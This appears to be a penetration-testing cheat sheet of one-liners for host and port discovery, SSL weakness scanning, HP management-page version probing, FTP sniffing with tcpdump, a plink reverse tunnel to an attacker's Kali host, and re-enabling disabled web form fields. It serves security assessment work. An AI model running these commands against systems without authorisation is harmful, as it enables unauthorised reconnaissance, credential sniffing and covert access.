cat filename.nmap | grep -i "/tcp" | cut -d "/" -f1 | sort | uniq | tr '\n' ',' ; echo ""
Linux: grep -i ".*/tcp.*open.*" filename.nmap | cut -d "/" -f1 | sort -u -n | tr "\n" "," | sed 's/,$//'
Windows: grep -i ".*/tcp.*open.*" filename.nmap | cut -d "/" -f1 | sort2 -u -n | tr -s "\r\n" "," | sed "s/,$//"
Powershell: Select-String -Path .\filename.nmap -Pattern ".*/tcp.*open.*" | Select-Object -ExpandProperty Line | %{$_.Split('/')[0]} | Sort-Object -Unique | %{$_.replace("`r","a")}
for ip in `cat TARGETS.txt`; do data=`ping $ip -c 1 | grep -i "packet loss" | cut -d "," -f3`; echo "$ip,$data"; done
1..254 | %{"192.168.1.$($_): $(Test-Connection -count 1 -comp 192.168.1.$($_) -quiet)"}
for data in `cat targets.txt`; do target=`echo $data | cut -d "," -f1`; port=`echo $data | cut -d "," -f2`; date; echo "[*] Scanning: $target:$port"; sslscan --no-failed --no-colour $target:$port > sslscan-$target-$port; done
For more better output of grep add this: | sed "s/sslscan-//" | sed "s/-/,/"
grep -i -l "sslv3" sslscan-*
grep -i -l "sslv2" sslscan-*
grep -i -l " 112 bits" sslscan-*
grep -i -l " 56 bits" sslscan-*
grep -i -l " 40 bits" sslscan-*
grep -i -l "RC4" sslscan-*
grep -i -l "CBC" sslscan-*
grep -i -l "sha1withrsaencryption" sslscan-*
grep -i -l "md5withrsaencryption" sslscan-*
grep -i -l "dsaencryption" sslscan-*
grep -i "Subject:" sslscan-*
grep -i "Issuer:" sslscan-*
grep -i -l "Key Strength.*1024" sslscan-*
for ip in `cat hp-sys-home-targets.txt`; do dt=`date`; echo "[*] $dt - $ip:2381"; curl -i -s -k "https://$ip:2381/cpqlogin.htm?RedirectUrl=/&RedirectQueryString=" | grep -i smhversion | head -n 1; done
tcpdump -n -A -i eth0 port 21 and src ip_address or dst ip_address
plink.exe YOUR_KALI_IP -P 22 -l root -pw toor -v -R 9090:127.0.0.1:8080 -T
AngularJS: angular.version
ReactJS: React.version
JQuery: $().jquery;
Bootstrap: $.fn.tooltip.Constructor.VERSION
html_elements = ["input", "select", "button"]; for(j=0; j<html_elements.length; j++) { for(i=0; i<document.getElementsByTagName(html_elements[j]).length; i++) { document.getElementsByTagName(html_elements[j])[i].disabled=false; } }